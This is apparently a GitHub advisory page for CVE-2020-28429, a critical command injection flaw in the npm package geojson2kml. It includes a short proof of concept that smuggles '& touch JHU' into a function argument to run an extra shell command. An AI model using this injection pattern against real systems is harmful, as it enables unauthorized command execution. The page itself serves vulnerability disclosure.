Skip to content

Command Injection in geojson2kml

Critical severity GitHub Reviewed Published May 10, 2021 to the GitHub Advisory Database • Updated Sep 6, 2023

Package

npm geojson2kml (npm)

Affected versions

<= 0.1.1

Patched versions

None

Description

All versions up to and including version 0.1.1 of package geojson2kml are vulnerable to Command Injection via the index.js file.

PoC:

var a =require("geojson2kml"); 
a("./","& touch JHU",function(){})

References

Published by the National Vulnerability Database Feb 23, 2021
Reviewed May 7, 2021
Published to the GitHub Advisory Database May 10, 2021
Last updated Sep 6, 2023

Severity

Critical
9.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2020-28429

GHSA ID

GHSA-w83x-fp72-p9qc

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.